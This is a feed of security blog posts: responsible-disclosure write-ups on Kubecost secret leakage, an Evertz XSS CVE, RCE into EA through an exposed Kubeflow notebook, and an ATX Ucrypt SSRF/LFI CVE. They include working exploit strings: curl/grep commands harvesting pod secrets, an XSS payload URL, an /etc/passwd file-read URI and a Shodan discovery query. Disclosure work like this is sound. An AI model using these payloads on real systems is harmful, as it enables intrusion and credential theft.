  <li>Fetch the Pod Configuration from a Kubecost dashboard that is exposed:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="s2">"https://[KUBECOST-HOST]/model/allPods"</span> <span class="o">&gt;</span> allPods
</code></pre></div>    </div>
  </li>
  <li>Search for secrets in the response using a tool such as <a href="https://github.com/tomnomnom/gron">gron</a>:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gron allPods | <span class="nb">grep</span>  <span class="nt">-i</span> <span class="s2">"secret</span><span class="se">\|</span><span class="s2">password"</span>
</code></pre></div>    </div>
  </li>
</ol>

<h3 id="recommendations-to-users">Recommendations to users</h3>

<p>Users who deploy Kubecost are urged to review where their Kubecost dashboard is accessible from, and who it is accessible to. As a vast majority of these dashboards reviewed as part of this research were found to be misconfigured, a multiple step approach is recommended for defending against malicious access.</p>

<p>The most effective way for users to protect their clusters is by deploying the dashboard in a trusted environment, that is only accessible to the administrators of the Kubernetes cluster.</p>

<p>Adding authentication and authorization to the deployment is essential for cases where lateral movement within a network is a risk. The Kubecost team highlights the following as resources for the same:</p>

<p><a href="https://docs.kubecost.com/install-and-configure/install/ingress-examples#basic-auth-example">https://docs.kubecost.com/install-and-configure/install/ingress-examples#basic-auth-example</a><br />
<a href="https://docs.kubecost.com/install-and-configure/advanced-configuration/user-management-oidc">https://docs.kubecost.com/install-and-configure/advanced-configuration/user-management-oidc</a><br />
<a href="https://docs.kubecost.com/install-and-configure/advanced-configuration/user-management-saml">https://docs.kubecost.com/install-and-configure/advanced-configuration/user-management-saml</a></p>

<p>In addition, as a step for defense in depth, it is highly recommended that administrators leverage Kubernetes Secrets to load secrets into pods, instead of adding them as environment variables or arguments.</p>

<p><img src="https://github.com/user-attachments/assets/909257f0-db30-492b-b683-48f67b0d37cd" alt="Pasted image 20241006184229" /></p>

<p>As part of the fix after disclosure, Kubecost has updated the <a href="https://docs.kubecost.com/install-and-configure/install/first-time-user-guide">deployment guide</a> to include the following.</p>

<p>The <a href="https://docs.kubecost.com/apis/diagnostic-apis/api-costmodel-cache">API documentation</a> has also been updated to list all the endpoints that may provide information about the different resources of the Kubernetes Cluster.</p>

<p><img src="https://github.com/user-attachments/assets/1a3393fb-4872-4b47-8ca2-711c9e879e9a" alt="Pasted image 20241012155106" /></p>

<h3 id="disclosure-timeline">Disclosure Timeline</h3>
<p>The standard Vulnerability Disclosure Process for Responsible Pubic Disclosure was followed, giving the team 90 days to address the issue.</p>

<table>
  <thead>
    <tr>
      <th><!-- -->Date</th>
      <th><!-- -->Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>May 21, 2024</td>
      <td>Submitted report of the issue to the Kubecost Vulnerability Disclosure Contact</td>
    </tr>
    <tr>
      <td>May 22, 2024</td>
      <td>Response : Issue is expected behavior.</td>
    </tr>
    <tr>
      <td>May 22, 2024</td>
      <td>Details of Impact provided to Kubecost Team (First Attempt)</td>
    </tr>
    <tr>
      <td>Jun 23, 2024</td>
      <td>Details of Impact provided to Kubecost Team (Second Attempt)</td>
    </tr>
    <tr>
      <td>Aug 2, 2024</td>
      <td>Details of Impact provided to Kubecost Team (Third Attempt)</td>
    </tr>
    <tr>
      <td>Aug 3, 2024</td>
      <td>Guidance for remediation (beyond deployment guidance) requested by Kubecost Team.</td>
    </tr>
    <tr>
      <td>Aug 4, 2024</td>
      <td>Details of undocumented APIs and information they leak provided to Kubecost.</td>
    </tr>
    <tr>
      <td>Aug 15, 2024</td>
      <td>Kubecost Team updates API documentation and Highlights guidance on deployment guide.</td>
    </tr>
    <tr>
      <td>Aug 21, 2024</td>
      <td>Kubecost Team requests guidance on feedback on changes in documentation.</td>
    </tr>
    <tr>
      <td>Aug 22, 2024</td>
      <td>Feedback provided that updating documentation is a strong fix, but not effective as a long term fix to protect users.</td>
    </tr>
    <tr>
      <td>October 12, 2024</td>
      <td>Report disclosed.</td>
    </tr>
  </tbody>
</table>

<h3 id="acknowledgements">Acknowledgements</h3>

<p>I would like to congratulate the Kubecost team for : firstly building a great product that truly solves a problem Kubernetes administrators had for a long time, and secondly for their prompt communications and best efforts to secure the product and the users who deploy it.</p>]]></content><author><name>notnotnotveg</name></author><category term="blog" /><category term="Responsible Disclosure" /><summary type="html"><![CDATA[Intro : During a recent engagement of reviewing a Kubernetes environment I came across a service called “Kubecost”, which is intended to be used for monitoring a Kubernetes cluster and provide recommendations to reduce the cost associated with running it.]]></summary></entry><entry><title type="html">CVE-2024-26367</title><link href="https://wiki.notveg.ninja/blog/CVE-2024-26367/" rel="alternate" type="text/html" title="CVE-2024-26367" /><published>2024-05-13T14:00:00+00:00</published><updated>2024-05-13T14:00:00+00:00</updated><id>https://wiki.notveg.ninja/blog/CVE-2024-26367</id><content type="html" xml:base="https://wiki.notveg.ninja/blog/CVE-2024-26367/"><![CDATA[<h2 id="cve-2024-26367">CVE-2024-26367</h2>

<h3 id="summary">Summary</h3>

<p>A Cross Site Scripting (XSS) vulnerability in the web interface of multiple Evertz microsystems products such as MViP-II, XPS-EDGE-*, evEDGE-EO-*, MMA10G-*, 570IPG-X19-10G, allows a remote attacker to execute arbitrary code on a clients browser via a crafted payload in the login parameters.</p>

<h3 id="versions-impacted">Versions Impacted</h3>

<p>The Evertz Microsystems products affected are :</p>

<table>
  <thead>
    <tr>
      <th>Product</th>
      <th>Versions Tested</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>MViP-II</td>
      <td>Firmware 8.6.5</td>
    </tr>
    <tr>
      <td>XPS-EDGE-*</td>
      <td>Build 1467</td>
    </tr>
    <tr>
      <td>evEDGE-EO-*</td>
      <td>Build 0029</td>
    </tr>
    <tr>
      <td>MMA10G-*</td>
      <td>Build 0498</td>
    </tr>
    <tr>
      <td>570IPG-X19-10G</td>
      <td>Build 0691</td>
    </tr>
  </tbody>
</table>

<h3 id="vulnerability-details">Vulnerability Details</h3>

<p>This vulnerability can be exploited when a user of these systems accesses the web interface for these devices using a link crafted by an attacker, which contains malicious HTML encoded in the <code class="language-plaintext highlighter-rouge">location</code> parameter of <code class="language-plaintext highlighter-rouge">/login.php</code></p>

<p>As an example, the following HTML payload can be embedded in this parameter concerned :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://localhost"&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt; &lt;div id ="a
</code></pre></div></div>
<p>Such malicious HTML can be embedded in the parameter concerned :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/login.php?location=aHR0cDovL2xvY2FsaG9zdCI+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+IDxkaXYgaWQgPSJh
</code></pre></div></div>

<p>This should generate a basic alert with the domain of the endpoint :
<img src="https://github.com/notnotnotveg/notnotnotveg.github.io/assets/65092714/4b3358bd-a64e-4a0d-af35-dd89390a581b" alt="5D20A4A2-18A8-4A40-877A-EADDD76A56D6" /></p>

<h3 id="recommended-mitigations">Recommended Mitigations</h3>
<p>Multiple attempts (direct contact and by CERT/CC) have been made to responsibly disclose the issue to the Evertz Microsystems to address the root cause of this vulnerability, but no response was received.</p>

<p>Users are advised to restrict network access to their deployments and inspect URLs for their panels before clicking them.</p>

<h3 id="disclosure-timeline">Disclosure Timeline</h3>

<table>
  <thead>
    <tr>
      <th><!-- --></th>
      <th><!-- --></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Feb 12, 2023</td>
      <td>First attempt to contact Evertz Microsystems on service@evertz[dot]com and privacy@evertz[dot]com</td>
    </tr>
    <tr>
      <td>Feb 14, 2023</td>
      <td>Used live support chat and was told that the request will be forwarded internally.</td>
    </tr>
    <tr>
      <td>Feb 14, 2023</td>
      <td>Second attempt to contact Evertz Microsystems on service@evertz[dot]com and privacy@evertz[dot]com</td>
    </tr>
    <tr>
      <td>Feb 22, 2024</td>
      <td>Third attempt to contact Evertz Microsystems on service@evertz[dot]com and privacy@evertz[dot]com</td>
    </tr>
    <tr>
      <td>Feb 28, 2024</td>
      <td>Case opened with CERT Coordination Center (CERT/CC) : VRF#24-02-BHNHN</td>
    </tr>
    <tr>
      <td>Mar 08, 2024</td>
      <td>CVE number assigned by MITRE.</td>
    </tr>
    <tr>
      <td>Mar 29, 2024</td>
      <td>CERT/CC confirms no response has been received from Evertz.</td>
    </tr>
    <tr>
      <td>May 13, 2023</td>
      <td>Responsible public disclosure.</td>
    </tr>
  </tbody>
</table>]]></content><author><name>notnotnotveg</name></author><category term="blog" /><category term="CVE" /><summary type="html"><![CDATA[CVE-2024-26367]]></summary></entry><entry><title type="html">RCE into EA using Kubeflow Notebooks</title><link href="https://wiki.notveg.ninja/blog/RCE-into-EA/" rel="alternate" type="text/html" title="RCE into EA using Kubeflow Notebooks" /><published>2024-04-03T14:00:00+00:00</published><updated>2024-04-03T14:00:00+00:00</updated><id>https://wiki.notveg.ninja/blog/RCE-into-EA</id><content type="html" xml:base="https://wiki.notveg.ninja/blog/RCE-into-EA/"><![CDATA[<h3 id="intro">Intro</h3>
<p>Multiple articles and blog posts written about <a href="https://www.kubeflow.org/">Kubeflow</a> intrigued me to dive (albeit shallow) into and scour the depths of Shodan one evening to see what I could find. With not too many of such exposed instances to begin with, and accounting for what little the apex predators left behind (<a href="https://www.microsoft.com/en-us/security/blog/2020/06/10/misconfigured-kubeflow-workloads-are-a-security-risk/">Microsoft’s blog post</a>), I stumbled across one such Kubeflow Dashboard, with a misconfiguration, that got me Remote Code Execution (RCE) into <strong>Electronic Arts (EA)</strong>.</p>

<h3 id="what-is-kubeflow">What is Kubeflow</h3>
<p>Directly quoting the Kubeflow Project home page :</p>

<blockquote>
  <p><em>The Kubeflow project is dedicated to making deployments of machine learning (ML) workflows on Kubernetes simple, portable and scalable. Our goal is not to recreate other services, but to provide a straightforward way to deploy best-of-breed open-source systems for ML to diverse infrastructures.</em></p>
</blockquote>

<p>One component of Kubeflow is the ability to run Kubeflow Notebooks, including <em>Jupyter notebooks</em>.</p>

<h3 id="enumeration">Enumeration</h3>
<p>Kubeflow dashboards accessible to the public Internet can be identified on Shodan using the query :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http.title:"Kubeflow Central Dashboard"
</code></pre></div></div>

<h3 id="exploitation">Exploitation</h3>
<p>Most Kubeflow Dashboards use authentication to protect exposed instances from being exploited using Jupyter Notebooks. MLSecOps has a great <a href="https://mlsecops.com/resources/hacking-ai-account-hijacking-and-internal-network-attacks-in-kubeflow">blog post</a> about stealing this token using XSS and using it to access Jupyter notebooks.</p>

<p>I happened to find a Kubeflow Dashboard with the Shodan query above, hosted on a subdomain of <code class="language-plaintext highlighter-rouge">ea.com</code>. This Kubeflow deployment did not allow creation of new Notebooks. However, as I browsed through the different namespaces, I observed Notebooks that were already created for a specific <code class="language-plaintext highlighter-rouge">namespace</code>.</p>

<p><img src="https://github.com/notnotnotveg/notnotnotveg.github.io/assets/65092714/5ed5a3aa-e711-442f-b926-732fa0e220c6" alt="kubeflow1 1" /></p>

<p>Looking into this notebook, an existing <a href="https://jupyterlab.readthedocs.io/en/latest/user/terminal.html">Terminal</a> was found to be running :
<img src="https://github.com/notnotnotveg/notnotnotveg.github.io/assets/65092714/4142323b-5dbc-4ca7-afa6-77faca3f0b9a" alt="kubeflow2" /></p>

<p>Accessing this Terminal provided a bash prompt on a container running in this namespace. Leveraging this shell, the following impact was proved :</p>
<h4 id="1-access-to-instance-metadata-services">1. Access to Instance Metadata services</h4>
<p>IAM credentials for the AWS account were enumerated after accessing AWS IMDSv1  :</p>

<p><img src="https://github.com/notnotnotveg/notnotnotveg.github.io/assets/65092714/bea4e90e-1415-4863-ac21-95ddcd23f6e1" alt="5DC51F77-85E4-4377-9EDD-D6B36D8F4374" /></p>

<h4 id="2-access-to-internal-rfc-1918-endpoints">2. Access to Internal (RFC-1918) Endpoints</h4>
<p>Using public DNS dumps an internal endpoint was identified and found to be accessible in our shell.</p>

<p>As an example, the following subdomain resolves to an RFC-1918 IP address on the public Internet :</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ dig +short @8.8.8.8 [REDACTED].ea.com
internal-prd-gitlab-elb[REDACTED].us-east-1.elb.amazonaws.com.
10.28.[REDACTED]
10.28.[REDACTED]
</code></pre></div></div>

<p>This endpoint, which is a Gitlab instance, was found to be accessible over the network from this container :
<img src="https://github.com/notnotnotveg/notnotnotveg.github.io/assets/65092714/75797c1a-6999-4e31-8af4-75cef745ffc3" alt="kubeflow4" /></p>

<p>This is the point where we conclude any further testing on this specific instance, since access to the infrastructure and the ability to escalate privileges in the environment were demonstrated.</p>

<h3 id="disclosure-timeline">Disclosure Timeline</h3>

<table>
  <thead>
    <tr>
      <th><!-- -->Date</th>
      <th><!-- -->Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>March 02, 2024</td>
      <td>Submitted details of the issue to the EA Product Security Response Team</td>
    </tr>
    <tr>
      <td>March 04, 2024</td>
      <td>Report Acknowledged by EA.</td>
    </tr>
    <tr>
      <td>March 18, 2024</td>
      <td>Draft of Disclosure report sent to EA.</td>
    </tr>
    <tr>
      <td>March 20, 2024</td>
      <td>Issue Confirmed to be remediated by EA.</td>
    </tr>
    <tr>
      <td>March 29, 2024</td>
      <td>Draft of Disclosure report reviewed and approved by EA.</td>
    </tr>
    <tr>
      <td>April 03, 2024</td>
      <td>Report disclosed.</td>
    </tr>
  </tbody>
</table>

<h3 id="acknowledgements">Acknowledgements</h3>
<p>A shout out to the EA Product Security Response Team for being prompt on their communications, and making the process for disclosing the issue as seamless and comfortable as it can be.</p>]]></content><author><name>notnotnotveg</name></author><category term="blog" /><category term="Responsible Disclosure" /><summary type="html"><![CDATA[Intro Multiple articles and blog posts written about Kubeflow intrigued me to dive (albeit shallow) into and scour the depths of Shodan one evening to see what I could find. With not too many of such exposed instances to begin with, and accounting for what little the apex predators left behind (Microsoft’s blog post), I stumbled across one such Kubeflow Dashboard, with a misconfiguration, that got me Remote Code Execution (RCE) into Electronic Arts (EA).]]></summary></entry><entry><title type="html">CVE-2023-39854</title><link href="https://wiki.notveg.ninja/blog/CVE-2023-39854/" rel="alternate" type="text/html" title="CVE-2023-39854" /><published>2023-10-06T14:00:00+00:00</published><updated>2023-10-06T14:00:00+00:00</updated><id>https://wiki.notveg.ninja/blog/CVE-2023-39854</id><content type="html" xml:base="https://wiki.notveg.ninja/blog/CVE-2023-39854/"><![CDATA[<h2 id="cve-2023-39854">CVE-2023-39854</h2>

<h3 id="summary">Summary</h3>
<p>The web interface of ATX  Ucrypt (v3.5 and older) is vulnerable to a Server Side Request Forgery (SSRF) and Local File Inclusion (LFI) vulnerability, allowing authenticated users (or attackers using default credentials for the admin, master or user account) to access remote hosts and system files.</p>

<h3 id="version-impacted">Version Impacted</h3>
<p>ATX Ucrypt v3.5 and older</p>

<h3 id="vulnerability-details">Vulnerability Details</h3>
<p>An authenticated user, or an attacker using the default credentials for the admin, master or user account, can access remote web endpoints or local system files using the following URIs :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/hydra/view/get_cc_url?board_id=2&amp;url=file%3A%2F%2F%2Fetc%2Fpasswd
/hydra/view/get_cc_url?board_id=1&amp;url=https%3A%2F%2Fgoogle.com%3A443%2F
</code></pre></div></div>

<p>An example of a vulnerable host :</p>

<p><img src="https://github.com/notnotnotveg/notnotnotveg.github.io/assets/65092714/d5109e45-d5bf-4549-af84-2dfa79f070b4" alt="2023-10-06-CVE-2023-39854-1" /></p>

<p><img src="https://github.com/notnotnotveg/notnotnotveg.github.io/assets/65092714/bda2e65d-033b-4067-87f0-6d9b023f5238" alt="2023-10-06-CVE-2023-39854-2" /></p>

<h3 id="recommended-mitigations">Recommended Mitigations</h3>
<p>Multiple attempts had been made to responsibly disclose the issue to the vendor to address the root cause of this vulnerability, but no response was received.</p>

<p>Users are advised to audit all users of their deployment and ensure that they have rotated the default credentials for the <code class="language-plaintext highlighter-rouge">admin</code>, <code class="language-plaintext highlighter-rouge">master</code> and <code class="language-plaintext highlighter-rouge">user</code> accounts that this service has baked in.</p>

<h3 id="disclosure-timeline">Disclosure Timeline</h3>

<table>
  <thead>
    <tr>
      <th><!-- --></th>
      <th><!-- --></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Jul 18, 2023</td>
      <td>First attempt made to contact ATX Networks on their marketing and security email.</td>
    </tr>
    <tr>
      <td>Aug 15, 2023</td>
      <td>Second attempt made to contact ATX Networks on their marketing and security email.</td>
    </tr>
    <tr>
      <td>Aug 19, 2023</td>
      <td>Case opened with CERT Coordination Center (CERT/CC) to assist with responsible disclosure.</td>
    </tr>
    <tr>
      <td>Aug 21, 2023</td>
      <td>CERT/CC’s time window to responsible disclosure begins (Case VU#293164).</td>
    </tr>
    <tr>
      <td>Oct 05, 2023</td>
      <td>Two attempts made by CERT/CC in the window receive no response and 45 day window ends.</td>
    </tr>
    <tr>
      <td>Oct 05, 2023</td>
      <td>CVE number assigned by MITRE.</td>
    </tr>
    <tr>
      <td>Oct 07, 2023</td>
      <td>Responsible public disclosure.</td>
    </tr>
  </tbody>
</table>]]></content><author><name>notnotnotveg</name></author><category term="blog" /><category term="CVE" /><summary type="html"><![CDATA[CVE-2023-39854]]></summary></entry></feed>